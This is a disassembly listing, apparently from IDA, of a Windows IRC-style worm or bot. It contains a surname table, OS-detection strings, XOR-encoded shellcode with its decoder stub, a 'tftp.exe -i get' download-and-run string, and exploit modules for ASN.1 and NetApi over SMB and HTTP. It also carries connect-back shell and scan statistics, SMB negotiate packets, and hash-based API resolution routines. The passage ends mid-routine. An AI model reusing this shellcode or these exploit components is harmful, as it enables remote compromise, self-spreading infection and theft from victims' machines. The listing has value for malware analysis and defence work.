'Blagg',0 ; DATA XREF: seg002:0042EE40o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: seg002:0042EE3Co align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: seg002:0042EE38o align 4 aBisho db 'Bisho',0 ; DATA XREF: seg002:0042EE34o align 10h aBisema db 'Bisema',0 ; DATA XREF: seg002:0042EE30o align 4 aBir db 'Bir',0 ; DATA XREF: seg002:0042EE2Co aBinion db 'Binion',0 ; DATA XREF: seg002:0042EE28o align 4 aBickel db 'Bickel',0 ; DATA XREF: seg002:0042EE24o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: seg002:0042EE20o align 4 aBeynart db 'Beynart',0 ; DATA XREF: seg002:0042EE1Co aBetti db 'Betti',0 ; DATA XREF: seg002:0042EE18o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: seg002:0042EE14o align 4 aBernston db 'Bernston',0 ; DATA XREF: seg002:0042EE10o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: seg002:0042EE0Co align 10h aBernardo db 'Bernardo',0 ; DATA XREF: seg002:0042EE08o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: seg002:0042EE04o align 4 aBergson db 'Bergson',0 ; DATA XREF: seg002:0042EE00o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: seg002:0042EDFCo align 4 aBelloc db 'Belloc',0 ; DATA XREF: seg002:0042EDF8o align 4 aBellini db 'Bellini',0 ; DATA XREF: seg002:0042EDF4o aBellhouse db 'Bellhouse',0 ; DATA XREF: seg002:0042EDF0o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: seg002:0042EDECo align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: seg002:0042EDE8o align 4 aBelfer db 'Belfer',0 ; DATA XREF: seg002:0042EDE4o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: seg002:0042EDE0o align 10h aBelanger db 'Belanger',0 ; DATA XREF: seg002:0042EDDCo align 4 aBehenna db 'Behenna',0 ; DATA XREF: seg002:0042EDD8o aBedford db 'Bedford',0 ; DATA XREF: seg002:0042EDD4o aBeder db 'Beder',0 ; DATA XREF: seg002:0042EDD0o align 4 aBeckman db 'Beckman',0 ; DATA XREF: seg002:0042EDCCo aBean db 'Bean',0 ; DATA XREF: seg002:0042EDC8o align 4 aBeal db 'Beal',0 ; DATA XREF: seg002:0042EDC4o align 4 aBeacon db 'Beacon',0 ; DATA XREF: seg002:0042EDC0o align 4 aBayo db 'Bayo',0 ; DATA XREF: seg002:0042EDBCo align 4 aBayles db 'Bayles',0 ; DATA XREF: seg002:0042EDB8o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: seg002:0042EDB4o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: seg002:0042EDB0o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: seg002:0042EDACo align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: seg002:0042EDA8o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: seg002:0042EDA4o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: seg002:0042EDA0o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: seg002:0042ED9Co aBarry db 'Barry',0 ; DATA XREF: seg002:0042ED98o align 4 aBarriola db 'Barriola',0 ; DATA XREF: seg002:0042ED94o align 4 aBarnett db 'Barnett',0 ; DATA XREF: seg002:0042ED90o aBarneson db 'Barneson',0 ; DATA XREF: seg002:0042ED8Co align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: seg002:0042ED88o align 4 aBarberi db 'Barberi',0 ; DATA XREF: seg002:0042ED84o aBaranowska db 'Baranowska',0 ; DATA XREF: seg002:0042ED80o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: seg002:0042ED7Co align 4 aBarajas db 'Barajas',0 ; DATA XREF: seg002:0042ED78o aBarabesi db 'Barabesi',0 ; DATA XREF: seg002:0042ED74o align 4 aBanta db 'Banta',0 ; DATA XREF: seg002:0042ED70o align 4 aBaltz db 'Baltz',0 ; DATA XREF: seg002:0042ED6Co align 4 aBallew db 'Ballew',0 ; DATA XREF: seg002:0042ED68o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: seg002:0042ED64o align 10h aBaleja db 'Baleja',0 ; DATA XREF: seg002:0042ED60o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: seg002:0042ED5Co align 4 aBailar db 'Bailar',0 ; DATA XREF: seg002:0042ED58o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: seg002:0042ED54o aBaglivo db 'Baglivo',0 ; DATA XREF: seg002:0042ED50o aBady db 'Bady',0 ; DATA XREF: seg002:0042ED4Co align 4 aBackus db 'Backus',0 ; DATA XREF: seg002:0042ED48o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: seg002:0042ED44o align 4 aAzima db 'Azima',0 ; DATA XREF: seg002:0042ED40o align 10h aAyling db 'Ayling',0 ; DATA XREF: seg002:0042ED3Co align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: seg002:0042ED38o aAyiemba db 'Ayiemba',0 ; DATA XREF: seg002:0042ED34o aAxworthy db 'Axworthy',0 ; DATA XREF: seg002:0042ED30o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: seg002:0042ED2Co aAurelius db 'Aurelius',0 ; DATA XREF: seg002:0042ED28o align 4 aAugustus db 'Augustus',0 ; DATA XREF: seg002:0042ED24o align 4 aAtkins db 'Atkins',0 ; DATA XREF: seg002:0042ED20o align 4 aArky db 'Arky',0 ; DATA XREF: seg002:0042ED1Co align 4 aArjas db 'Arjas',0 ; DATA XREF: seg002:0042ED18o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: seg002:0042ED14o align 4 aArellano db 'Arellano',0 ; DATA XREF: seg002:0042ED10o align 4 aArduini db 'Arduini',0 ; DATA XREF: seg002:0042ED0Co aArbia db 'Arbia',0 ; DATA XREF: seg002:0042ED08o align 4 aAntos db 'Antos',0 ; DATA XREF: seg002:0042ED04o align 4 aAnthony db 'Anthony',0 ; DATA XREF: seg002:0042ED00o aAnsley db 'Ansley',0 ; DATA XREF: seg002:0042ECFCo align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: seg002:0042ECF8o align 4 aAndron db 'Andron',0 ; DATA XREF: seg002:0042ECF4o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: seg002:0042ECF0o align 4 aAndo db 'Ando',0 ; DATA XREF: seg002:0042ECECo align 4 aAndel db 'Andel',0 ; DATA XREF: seg002:0042ECE8o align 4 aAnand db 'Anand',0 ; DATA XREF: seg002:0042ECE4o align 4 aAmsden db 'Amsden',0 ; DATA XREF: seg002:0042ECE0o align 4 aAmeer db 'Ameer',0 ; DATA XREF: seg002:0042ECDCo align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: seg002:0042ECD8o align 10h aAmaral db 'Amaral',0 ; DATA XREF: seg002:0042ECD4o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: seg002:0042ECD0o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: seg002:0042ECCCo aAltavilla db 'Altavilla',0 ; DATA XREF: seg002:0042ECC8o align 4 aAlongi db 'Alongi',0 ; DATA XREF: seg002:0042ECC4o align 4 aAllison db 'Allison',0 ; DATA XREF: seg002:0042ECC0o aAleks db 'Aleks',0 ; DATA XREF: seg002:0042ECBCo align 4 aAlda db 'Alda',0 ; DATA XREF: seg002:0042ECB8o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: seg002:0042ECB4o align 4 aAlavi db 'Alavi',0 ; DATA XREF: seg002:0042ECB0o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: seg002:0042ECACo align 4 aAdorno db 'Adorno',0 ; DATA XREF: seg002:0042ECA8o align 4 aAdibe db 'Adibe',0 ; DATA XREF: seg002:0042ECA4o align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: seg002:0042ECA0o align 10h aAddison db 'Addison',0 ; DATA XREF: seg002:0042EC9Co aAdams db 'Adams',0 ; DATA XREF: seg002:0042EC98o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: seg002:0042EC94o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: seg002:off_42EC90o align 4 aPc db 'PC',0 ; DATA XREF: seg000:0040ACD5o align 4 aS_3 db '%s|',0 ; DATA XREF: seg000:0040AD56o aS_4 db '[%s]|',0 ; DATA XREF: seg000:0040AE60o align 4 a??? db '???',0 ; DATA XREF: seg000:loc_40AE57o ; sub_41AC18:loc_41ACDBo a2k3 db '2K3',0 ; DATA XREF: seg000:0040AE50o aXp_0 db 'XP',0 ; DATA XREF: seg000:0040AE42o ; sub_41AC18+AAo align 4 a2k db '2K',0 ; DATA XREF: seg000:0040AE32o ; sub_41AC18+98o align 4 aMe_0 db 'ME',0 ; DATA XREF: seg000:0040AE19o ; sub_41AC18+7Eo align 4 a98 db '98',0 ; DATA XREF: seg000:0040AE09o ; sub_41AC18+6Co align 10h aNt_0 db 'NT',0 ; DATA XREF: seg000:0040ADF9o ; sub_41AC18+5Ao align 4 a95 db '95',0 ; DATA XREF: seg000:0040ADEBo ; sub_41AC18+46o align 4 aD_2 db '[%d]',0 ; DATA XREF: sub_40AEA6+1Bo align 10h jmp short loc_432924 ; --------------------------------------------------------------------------- loc_432922: ; CODE XREF: seg002:loc_432924p jmp short loc_432929 ; --------------------------------------------------------------------------- loc_432924: ; CODE XREF: seg002:00432920j call loc_432922 loc_432929: ; CODE XREF: seg002:loc_432922j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_432930: ; CODE XREF: seg002:00432935j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_432930 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_432946: ; CODE XREF: seg002:0043294Bj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_432946 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_4329E8 jnz short loc_4329D4 retn ; --------------------------------------------------------------------------- loc_4329D4: ; CODE XREF: seg002:004329D1j ; seg002:004329E1j call near ptr loc_4329D9+1 loc_4329D9: ; CODE XREF: seg002:loc_4329D4p add [edx+0], ch call sub_4329E8 jz loc_4329D4 retn ; =============== S U B R O U T I N E ======================================= sub_4329E8 proc near ; CODE XREF: seg002:004329CCp ; seg002:004329DCp pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_4329E8 endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B1F9+51o align 10h aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B1F9+35o align 4 aSym db 'sym',0 ; DATA XREF: sub_40BF8E+155o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B63A+30o align 4 dd 5 dup(0) dword_432A90 dd 0B97h ; DATA XREF: seg000:00403810r ; seg000:00403839o ... off_432A94 dd offset sub_40E78C ; DATA XREF: sub_40BF8E+1D7r dword_432A98 dd 0 ; DATA XREF: sub_40B4AD+2Eo ; seg000:0040D2DDr ... dword_432A9C dd 1 ; DATA XREF: seg000:0040B948r dword_432AA0 dd 1 ; DATA XREF: seg000:0040BCD3r dword_432AA4 dd 0 ; DATA XREF: seg000:0040BBAEr aNet1 db 'net1',0 align 10h dd 654E0000h, 69706174h, 2D393331h, 31h, 4 dup(0) dd 8Bh, 40DD8Fh, 0 dd 2 dup(1), 0 dd 2D74656Eh, 31h, 654E0000h, 69706174h, 2D353434h, 31h dd 4 dup(0) dd 1BDh, 40DD8Fh, 0 dd 2 dup(1), 0 aNet2 db 'net2',0 align 10h dd 654E0000h, 69706174h, 2D393331h, 32h, 4 dup(0) dd 8Bh, 40E27Bh, 0 dd 2 dup(1), 0 dd 2D74656Eh, 32h, 654E0000h, 69706174h, 2D353434h, 32h dd 4 dup(0) dd 1BDh, 40E27Bh, 0 dd 2 dup(1), 0 aNet3 db 'net3',0 align 10h dd 654E0000h, 69706174h, 2D393331h, 33h, 4 dup(0) dd 8Bh, 40E64Ch, 0 dd 2 dup(1), 0 dd 2D74656Eh, 33h, 654E0000h, 69706174h, 2D353434h, 33h dd 4 dup(0) dd 1BDh, 40E64Ch, 0 dd 2 dup(1), 0 aXmass db 'xmass',0 align 10h dd 616C0000h, 3331646Eh, 39h, 5 dup(0) dd 8Bh, 40D6DBh, 0 dd 2 dup(1), 0 aAsn1http db 'asn1http',0 align 2 aAsn_1Http db 'ASN.1-HTTP',0 align 10h dd 4 dup(0) dd 50h, 40D121h, 0 dd 2 dup(1), 0 aAsn1smb db 'asn1smb',0 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D121h, 0 dd 2 dup(1), 0 aAsn1smbnt db 'asn1smbnt',0 aAsn_1SmbNt db 'ASN.1-SMB NT',0 align 10h dd 4 dup(0) dd 8Bh, 40D121h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aNet1_0 db 'net1',0 align 10h db 2 dup(0) byte_432D72 db 1 ; DATA XREF: seg000:loc_403789r ; seg000:00403793o aNet2_0 db 'net2',0 dd 0 dd 656E0100h, 3374h, 0 dd 1, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_432DAA ; =============== S U B R O U T I N E ======================================= sub_432D9A proc near ; CODE XREF: sub_432D9A:loc_432DAAp pop edx dec edx xor ecx, ecx mov cx, 166h loc_432DA2: ; CODE XREF: sub_432D9A+Cj xor byte ptr [edx+ecx], 99h loop loc_432DA2 jmp short loc_432DAF ; --------------------------------------------------------------------------- loc_432DAA: ; CODE XREF: seg002:00432D98j call sub_432D9A loc_432DAF: ; CODE XREF: sub_432D9A+Ej jo short near ptr dword_432D2C+1Eh cwde cdq cdq retn sub_432D9A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B4AD+85o align 4 dword_432F2C dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B4AD+46o unk_432F38 db 2Dh ; - ; DATA XREF: sub_40B4AD+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_432F58 db 2Dh ; - ; DATA XREF: sub_40B57B+37o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_432FA0 db 2Dh ; - ; DATA XREF: sub_40B5E6+21o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B63A+7Eo dword_432FDC dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B63A+40o dword_432FEC dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B63A+14o dd 7473694Ch, 3Ah unk_433008 db 2Dh ; - ; DATA XREF: seg000:0040B86Fo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_43303C db 2Dh ; - ; DATA XREF: seg000:0040B780o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_43306C db 2Dh ; - ; DATA XREF: sub_40B8B2+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_43308C db 2Dh ; - ; DATA XREF: sub_40B8B2+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_4330A8 db 2Dh ; - ; DATA XREF: seg000:0040BDEEo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_31 db ' Failed to start server, error: <%d>.',0 align 4 unk_4330DC db 2Dh ; - ; DATA XREF: seg000:0040BCAFo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_32 db '- Failed to start server, error: <%d>.',0 unk_433114 db 2Dh ; - ; DATA XREF: seg000:0040BC4Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_433144 db 2Dh ; - ; DATA XREF: seg000:0040BB88o db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_33 db 'Failed to start server, error: <%d>.',0 align 4 unk_433178 db 2Dh ; - ; DATA XREF: seg000:0040BB28o db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_4331AC db 2Dh ; - ; DATA XREF: seg000:0040BA60o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' Failed to start server, error: <%d>.',0 align 10h unk_4331E0 db 2Dh ; - ; DATA XREF: sub_40BF8E+DCo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_433208 db 2Dh ; - ; DATA XREF: sub_40BF8E+84o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_433240 db 2Dh ; - ; DATA XREF: seg000:0040C382o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 10h unk_433280 db 2Dh ; - ; DATA XREF: seg000:0040C30Ao db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_4332B8 db 2Dh ; - ; DATA XREF: seg000:0040C2A5o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_4332EC db 2Dh ; - ; DATA XREF: seg000:0040C229o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 10h unk_433320 db 2Dh ; - ; DATA XREF: seg000:0040C48Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 4 unk_433348 db 2Dh ; - ; DATA XREF: sub_40C4C6+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 10h unk_433370 db 2Dh ; - ; DATA XREF: sub_40C5B7+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 unk_43339C db 2Dh ; - ; DATA XREF: sub_40C5B7+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40C930+B2o align 4 dword_4333D4 dd 10FF8h, 0 ; DATA XREF: sub_40C930+6Ao dword_4333DC dd 10FF8h ; DATA XREF: sub_40C930+79o dword_4333E0 dd 7FFDF020h, 0 ; DATA XREF: sub_40C930+162o dword_4333E8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CD4A+78o dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_433470 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CD4A+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4334A0 dd 0 ; DATA XREF: sub_40CD4A+44o dd 800000D4h, 2 dup(0) unk_4334B0 db 81h ; ; DATA XREF: sub_40CE29+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_433500 db 41h ; DATA XREF: sub_40CEC7+108r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 8 ; =============== S U B R O U T I N E ======================================= sub_433548 proc near ; DATA XREF: seg000:0040D1A3o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_433644 push dword ptr [esi] push 63D61209h call sub_43365A mov [esi+8], eax call sub_43360D push dword ptr [esi+4] push 0CA2BD06Bh call sub_43365A mov [esi+0Ch], eax call sub_4335BF push dword ptr [esi+4] push 4C0297FAh call sub_43365A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_433548 endp ; =============== S U B R O U T I N E ======================================= sub_4335BF proc near ; CODE XREF: sub_433548+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4335E8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4335BF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4335E8 proc near ; CODE XREF: sub_4335BF+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4335F7: ; CODE XREF: sub_4335E8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_433604 inc ebx jmp short loc_4335F7 ; --------------------------------------------------------------------------- loc_433604: ; CODE XREF: sub_4335E8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4335E8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43360D proc near ; CODE XREF: sub_433548+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_433625: ; CODE XREF: sub_43360D+1Ej cmp [ecx], ebx jz short loc_43362D mov ecx, [ecx] jmp short loc_433625 ; --------------------------------------------------------------------------- loc_43362D: ; CODE XREF: sub_43360D+1Aj mov edx, edi loc_43362F: ; CODE XREF: sub_43360D+2Aj cmp [edx+4], ebx jz short loc_433639 mov edx, [edx+4] jmp short loc_43362F ; --------------------------------------------------------------------------- loc_433639: ; CODE XREF: sub_43360D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43360D endp ; =============== S U B R O U T I N E ======================================= sub_433644 proc near ; CODE XREF: sub_433548+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_433644 endp ; =============== S U B R O U T I N E ======================================= sub_43365A proc near ; CODE XREF: sub_433548+16p ; sub_433548+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_433670: ; CODE XREF: sub_43365A+33j jecxz short loc_4336AA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_43367D: ; CODE XREF: sub_43365A+2Dj lodsb cmp al, ah jz short loc_433689 ror edi, 0Dh add edi, eax jmp short loc_43367D ; --------------------------------------------------------------------------- loc_433689: ; CODE XREF: sub_43365A+26j cmp edi, [esp+20h+arg_0] jnz short loc_433670 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4336AA: ; CODE XREF: sub_43365A:loc_433670j ; sub_43365A:loc_4336AAj jmp short loc_4336AA sub_43365A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4336B0 proc near ; DATA XREF: seg000:0040D151o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_433702 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_4336CD: ; CODE XREF: sub_4336B0+38j jecxz short loc_4336FD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_4336D8: ; CODE XREF: sub_4336B0+32j lodsb test al, al jz short loc_4336E4 ror edx, 0Dh add edx, eax jmp short loc_4336D8 ; --------------------------------------------------------------------------- loc_4336E4: ; CODE XREF: sub_4336B0+2Bj cmp edx, [esp+arg_0] jnz short loc_4336CD mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_4336FD: ; CODE XREF: sub_4336B0:loc_4336CDj mov [esp+arg_0], ebx retn sub_4336B0 endp ; =============== S U B R O U T I N E ======================================= sub_433702 proc near ; 